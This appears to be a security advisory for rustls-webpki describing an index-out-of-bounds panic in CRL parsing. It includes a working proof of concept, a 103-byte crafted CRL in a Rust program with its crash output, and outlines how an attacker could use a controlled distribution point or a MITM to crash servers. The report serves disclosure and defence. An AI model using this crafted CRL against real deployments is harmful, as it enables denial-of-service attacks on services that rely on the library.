Executive brief
### Summary
`bit_string_flags()` in `src/der.rs` panics with an index-out-of-bounds when given a BIT STRING whose content is exactly `[0x00]` (one byte: zero padding bits, zero data bytes). This is reachable through the public API `BorrowedCertRevocationList::from_der()` via the `issuingDistributionPoint` CRL extension.
**Precondition**: CRL checking is opt-in in rustls-webpki. This vulnerability affects only applications that explicitly pass `RevocationOptions` to `verify_for_usage()` and load CRL bytes from a source the attacker can influence. The default rustls configuration (no `RevocationOptions`) is not affected.
> **AI disclosure**: This report was prepared with AI assistance (Claude). The vulnerability was discovered by differential fuzzing against a formally-verified Rust oracle. All technical claims have been independently verified against the live source code before submission.
### Details `bit_string_flags()` in `src/der.rs` reads the content of named-bit BIT STRINGs (KeyUsage, ReasonFlags, etc.). Its input guard:
```rust if padding_bits > 7 || (raw_bits.is_empty() && padding_bits != 0) { return Err(Error::BadDer); } let last_byte = raw_bits[raw_bits.len() - 1]; // ← crash ``` misses the case `padding_bits == 0 && raw_bits.is_empty()`. When a BIT STRING has content `[0x00]` (one padding-bits byte set to zero, no data bytes): - padding_bits = 0x00 — passes the > 7 check ✓ - raw_bits = [] — passes is_empty() && != 0 check ✓ (because 0 != 0 is false) - raw_bits.len() - 1 = 0usize - 1 = underflow → usize::MAX - raw_bits[usize::MAX] → panic
Debug: thread 'main' panicked: attempt to subtract with overflow Release: thread 'main' panicked: index out of bounds: the len is 0 but the index is 18446744073709551615
### PoC Cargo.toml: ``` [dependencies] rustls-webpki = "0.102.8" # also reproduces on 0.103.12 ``` src/main.rs: ``` fn main() { let crl: &[u8] = &[ 0x30, 0x65, 0x30, 0x50, 0x02, 0x01, 0x01, 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b, 0x05, 0x00, 0x30, 0x0c, 0x31, 0x0a, 0x30, 0x08, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x01, 0x41, 0x17, 0x0d, 0x32, 0x30, 0x30, 0x31, 0x30, 0x31, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5a, 0x17, 0x0d, 0x32, 0x31, 0x30, 0x31, 0x30, 0x31, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5a, 0xa0, 0x10, 0x30, 0x0e, 0x30, 0x0c, 0x06, 0x03, 0x55, 0x1d, 0x1c, 0x04, 0x05, 0x30, 0x03, 0x83, 0x01, 0x00, 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b, 0x05, 0x00, 0x03, 0x02, 0x00, 0x00, ]; // Panics — never returns let _ = webpki::BorrowedCertRevocationList::from_der(crl); } ``` output: ``` thread 'main' panicked at src/der.rs:... index out of bounds: the len is 0 but the index is 18446744073709551615 ``` #### Trigger ``` a0 10 -- cRLExtensions [0] EXPLICIT 30 0e -- SEQUENCE OF Extension 30 0c -- Extension SEQUENCE 06 03 55 1d 1c -- OID 2.5.29.28 (id-ce-issuingDistributionPoint) 04 05 -- OCTET STRING (extnValue) 30 03 -- IssuingDistributionPoint SEQUENCE 83 01 00 -- [3] onlySomeReasons: BIT STRING, len=1, content=0x00 -- padding_bits=0, data=[] ← TRIGGER ```
### Impact - Who is affected: Applications that (1) use rustls-webpki with CRL revocation checking explicitly enabled via RevocationOptions, and (2) load CRL bytes from a source an attacker can influence. - Attack paths: - mTLS server (most realistic): An attacker obtains any certificate from a CA that permits custom CDP URLs — common in enterprise PKI. They set the CDP to a server they control, serve the 103-byte crafted CRL, and connect to the target. The server fetches the attacker's CRL during the handshake and panics. No MITM required. - TLS client with server-cert CRL checking: An attacker who can MITM an HTTP CRL distribution point (ARP/DNS poisoning on a local network) serves the crafted CRL in place of the legitimate one.